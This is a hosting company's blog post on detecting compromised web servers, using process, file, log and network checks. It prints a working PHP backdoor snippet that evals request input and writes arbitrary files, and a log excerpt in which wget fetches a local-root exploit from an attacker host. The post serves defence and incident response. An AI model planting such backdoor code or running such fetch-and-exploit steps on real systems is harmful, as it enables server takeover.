I have made posts before regarding how to find exploits, and what to do about those previously, however it has come to my attention that some people are not even realizing what the basics are to look for. In this post i will give you ideas on what to look for, how to identify exploits and similar.
A vast majority of exploits are web based, and only impact the web user. They are usually from an insecure CMS like wordpress, joomla, or drupal, and almost always PHP based, with the odd perl ones thrown in. If you run these CMS, make sure you update whenever there is a new version of the CMS, as well as plugins – this is vital to staying secure.
Signs and Symptoms of being exploited:
Websites running slow, servers crashing or having high load constantly are a sure sign there is probably an exploit or bad code that needs fixing. If you see a high CPU notice from us regularly. its time to start checking.
Another sign of exploits is suddenly seeing that you have a lot more bandwidth usage over a short period of time. eg 7gb usage one month, and 100gb the next.
The first thing to check for are odd processes that have been running longer than usual, or with higher CPU usage, or even a lot more processes than usual. Once you find those using ps auxf, or top you can identify what files they have open, and if they are “normal”. You can see what files they have open using lsof -p pid
eg This example shows what file an exploited SSH was running
root@servername ~]# lsof -p 4349 COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME bash 4349 root cwd DIR 202,1 4096 180351 /root/.mc bash 4349 root rtd DIR 202,1 4096 2 / bash 4349 root txt REG 202,1 716972 163843 /bin/bash bash 4349 root mem REG 202,1 46680 395167 /lib/libnss_files-2.5.so bash 4349 root mem REG 202,1 1598704 393227 /lib/libc-2.5.so bash 4349 root mem REG 202,1 14644 395162 /lib/libdl-2.5.so bash 4349 root mem REG 202,1 11828 393289 /lib/libtermcap.so.2.0.8 bash 4349 root mem REG 202,1 120360 393364 /lib/ld-2.5.so bash 4349 root 0u CHR 3,0 1492 /dev/ttyp0 bash 4349 root 1u CHR 3,0 1492 /dev/ttyp0 bash 4349 root 2u CHR 3,0 1492 /dev/ttyp0 bash 4349 root 255u CHR 3,0 1492 /dev/ttyp0 [root@servername ~]#
Bingo!
[root@servername ~]# ls -al /root/.mc/ total 5064 drwxr-xr-x 2 root root 4096 Apr 9 15:24 . drwxr-x--- 6 root root 4096 Apr 9 14:53 .. -rwxr-xr-x 1 1000 1000 453972 Sep 14 2008 fever -rw-r--r-- 1 root root 2249 Apr 9 15:37 nobash.txt -rw-r--r-- 1 root root 18 Apr 9 14:56 pass.txt -rw-r--r-- 1 root root 3307564 Apr 9 15:14 scan.log -rwxr-xr-x 1 root root 1384518 Apr 9 2011 top -rw-r--r-- 1 root root 1403 Apr 9 15:28 vuln.txt [root@servername ~]#
Once you have found the file or website that may be offensive you can then use ls -l or find to identify things. It pays at this point to be familiar with what files are normal or not with your website, as noticing extra odd files is a key part of finding exploits. Often exploited files are owned by the apache or www-data user, as they are uploaded via the webserver using that (apache exploits account for at least 80% of the ones we see at rimuhosting)
eg
-rw-r--r-- 1 www-data www-data 70329 Apr 1 16:57 w20362964n.php -rw-r--r-- 1 www-data www-data 23289 Apr 1 17:37 w26182127n.php -rw-r--r-- 1 www-data www-data 23289 Apr 5 11:36 w26955811n.php -rw-r--r-- 1 www-data www-data 23289 Apr 5 11:35 w29538580n.php -rw-r--r-- 1 www-data www-data 23289 Apr 1 10:12 w32792216n.php -rw-r--r-- 1 www-data www-data 23289 Apr 1 10:12 w33145563n.php -rw-r--r-- 1 www-data www-data 23289 Apr 1 17:37 w36585479n.php -rw-r--r-- 1 www-data www-data 23289 Apr 1 10:13 w37492747n.php -rw-r--r-- 1 www-data www-data 23289 Apr 5 11:31 w41176972n.php -rw-r--r-- 1 www-data www-data 23289 Apr 5 11:30 w45128912n.php -rw-r--r-- 1 www-data www-data 23289 Apr 1 10:12 w45248321n.php -rw-r--r-- 1 www-data www-data 23289 Apr 1 10:13 w47118613n.php -rw-r--r-- 1 www-data www-data 23289 Apr 5 11:35 w48595416n.php -rw-r--r-- 1 www-data www-data 23289 Apr 1 10:12 w49844261n.php -rw-r--r-- 1 www-data www-data 23289 Apr 1 10:12 w52093009n.php -rw-r--r-- 1 www-data www-data 23289 Apr 1 10:13 w60502833n.php -rw-r--r-- 1 www-data www-data 23289 Apr 5 11:30 w61545633n.php -rw-r--r-- 1 www-data www-data 23289 Apr 5 11:36 w71353151n.php -rw-r--r-- 1 www-data www-data 23289 Apr 5 11:36 w73847967n.php -rw-r--r-- 1 www-data www-data 23289 Apr 5 11:31 w76558843n.php -rw-r--r-- 1 www-data www-data 23289 Apr 1 10:12 w77548477n.php -rw-r--r-- 1 www-data www-data 23289 Apr 5 11:35 w79695543n.php -rw-r--r-- 1 www-data www-data 70329 Apr 1 16:56 w85877824n.php -rwxrwxrwx 1 louie www-data 2051 Apr 26 2012 web.config -rwxrwxrwx 1 louie www-data 0 Apr 26 2012 workshops.csv -rw-r--r-- 1 www-data www-data 349905 Apr 7 09:10 wp-conf.php -rw-r--r-- 1 www-data www-data 53 Mar 29 16:56 wtm2912n.php -rwxrwxrwx 1 louie www-data 552 Apr 5 13:24 xmlrpc.php
You can see the user differences in these, however it pays to check all (in this case xmlrpc.php was also exploited as well as other files)
Checking code in the files also helps, things to look for are eval($somestuff), base64_decode($somestuff), exec($somestuff), lots of obscure $_REQUEST codes that looks like random characters, or similar
eg These were found in an exploited joomla
$wxif = "11ecc1380aa5a8aa6bb301c124eb0010"; if(isset($_REQUEST['mvuxa'])) { $tdnbf =
$_REQUEST['mvuxa']; eval($tdnbf); exit(); } if(isset($_REQUEST['woyqbg'])) { $fhcs = $_REQUEST['xacrdxhw']; $jpizuns = $_REQUEST['woyqbg']; $argbicoe
= fopen($jpizuns, 'w'); $jkyp = fwrite($argbicoe, $fhcs); fclose($argbicoe); echo $jkyp; exit(); } ?>
Often these files will be disguised as regular files. From the example list above you can see wp-conf.php … this seems to be a wordpress config, but in fact that was an exploit. I have found similar in about.php readme.php configuration.php license.php or other names which sound legitimate.
Another place they will often lurk is in files starting with a . (so they are hidden), an identical name to another file but with a space in from (so its not noticed), and in particular in images, upload, and tmp directories, as they are usually writeable.
Example of file with space not being noticeable
$ ls index.php sitemap.xml wp-activate.php wp-atom.php wp-commentsrss2.php wp-content wp-includes wp-login.php wp-rdf.php wp-rss.php wp-signup.php license.txt sitemap.xml.gz wp-admin wp-blog-header.php wp-config.php wp-cron.php wp-links-opml.php wp-mail.php wp-register.php wp-settings.php wp-trackback.php readme.html stats wp-app.php wp-comments-post.php wp-config-sample.php wp-feed.php wp-load.php wp-pass.php wp-rss2.php wp-settings.php xmlrpc.php
now with ls -l
-rw-r--r-- 1 vftp vftp 334 Dec 10 2010 wp-register.php -rw-r--r-- 1 vftp vftp 226 Dec 10 2010 wp-rss2.php -rw-r--r-- 1 vftp vftp 224 Dec 10 2010 wp-rss.php -rw-r--r-- 1 www-data www-data 0 Apr 10 12:45 wp-settings.php -rw-r--r-- 1 vftp vftp 9899 Jan 3 19:21 wp-settings.php -rw-r--r-- 1 vftp vftp 18219 Jan 3 19:21 wp-signup.php -rw-r--r-- 1 vftp vftp 3700 Jan 3 19:21 wp-trackback.php
Neither of those cases showed the hidden directory because i need -a for that
$ ls -al total 264 drwxr-xr-x 7 vftp vftp 4096 Apr 10 12:45 . drwxr-xr-x 5 vftp vftp 4096 Dec 22 2009 .. drwxr-xr-x 2 www-data www-data 4096 Apr 10 12:45 .a -rw-r--r-- 1 vftp vftp 2641 Apr 16 2012 .htaccess -rw-r--r-- 1 vftp vftp 395 Jan 3 19:21 index.php
Usually i find the best and quickest way to find these is using the find command to find files modified in the last day or two, or even the last week using mtime
eg finding things modified in the last 24 hours
$ find ./ -mtime 0 ./ ./wp-content/cache ./wp-content/cache/wp-cache-8eaf320d108607c0abb2fa3fe6c0d977.html ./wp-content/cache/meta ./wp-content/cache/meta/wp-cache-8eaf320d108607c0abb2fa3fe6c0d977.meta ./.a ./ wp-settings.php ./stats/webalizer.hist ./stats/ctry_usage_201304.png ./stats/usage.png ./stats/hourly_usage_201304.png ./stats/usage_201304.html ./stats/index.html ./stats/daily_usage_201304.png
Shows a few false positives, but easily identifiable for the most part.
Once you find any files, it pays to check the apache logs, find out who accessed that file, and what else they accessed, ideally also how they uploaded that file. You can track these down by the timestamps on the files themselves. Be wary when you see a folder full of files, often it was a zip so has incorrect dates. check the folder creation time itself or use stat command
eg
$ stat wp-settings.php File: `wp-settings.php' Size: 9899 Blocks: 24 IO Block: 4096 regular file Device: ca01h/51713d Inode: 1181196 Links: 1 Access: (0644/-rw-r--r--) Uid: ( 5500/ vftp) Gid: ( 5500/ vftp) Access: 2012-09-07 07:43:11.000000000 +1200 Modify: 2013-01-03 19:21:36.000000000 +1300 Change: 2013-01-03 19:21:36.000000000 +1300
Things to look for in apache logs are POST commands, or output of shell executables like wget which will have been run by an exploited script potentially.
Here are some examples that have been found in apache logs
error: permission denied on key 'kernel.cad_pid'
error: permission denied on key 'net.ipv4.route.flush'
error: permission denied on key 'net.ipv6.route.flush'
error: permission denied on key 'fs.binfmt_misc.register'
cat: /etc/issue.net: No such file or directory
cat: /etc/*-realise: No such file or directory
which: no links in (/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/sbin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i686-pc-linux-gnu/gcc-bin/4.3.4:/root/bin)
which: no fetch in (/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/sbin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i686-pc-linux-gnu/gcc-bin/4.3.4:/root/bin)
Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html
error: "kern.ostype" is an unknown key
--2010-07-18 06:08:20-- http://th3-0utl4ws.com/localroot/xploits/enlightenment.tgz
Resolving th3-0utl4ws.com... 178.21.112.247
Connecting to th3-0utl4ws.com|178.21.112.247|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 98102 (96K) [application/x-tar]
Saving to: `enlightenment.tgz'
0K .......... .......... .......... .......... .......... 52% 162K 0s
50K .......... .......... .......... .......... ..... 100% 423K=0.4s
2010-07-18 06:08:21 (230 KB/s) - `enlightenment.tgz' saved [98102/98102]
netstat is another great way to show what connections are established, and what ones are open by what pid.
In this case there is a connection with IRC client, and 2 SSH connections
vps:~# netstat -pant |grep ESTAB tcp 0 0 72.249.82.23:54526 173.245.201.28:6667 ESTABLISHED 12018/irssi tcp 0 0 72.249.82.23:1973 27.252.225.183:54292 ESTABLISHED 11157/sshd: wishes tcp 0 48 72.249.82.23:1973 27.252.225.183:56705 ESTABLISHED 12020/sshd: wishes vps:~#
Often you can find IRC bots running on hacked servers, usually connecting to another server on port 6667 as in the case above (this is a legitimate irc client in this case). Having the details of those connections and pid numbers means you can then find out where the bots may be hidden or running from, as often the ps can show an alternative place to the actual file.
So for this one, the irssi client if it was a potential bot, can be found by checking the pid 12018 and using lsof -p 12018 as above to find the files.
Another thing to check is crontabs for all users, you can find those in /var/spool/cron/crontab/ as files.
Above all, if a server is root exploited, its time to reinstall. Once a hacker has root then they can hide things pretty much anywhere and have full control of the server. Preventative measures and good backups are worth their weight in gold, and should always be done.
If you think your server may have been hacked, just pop in a ticket to support.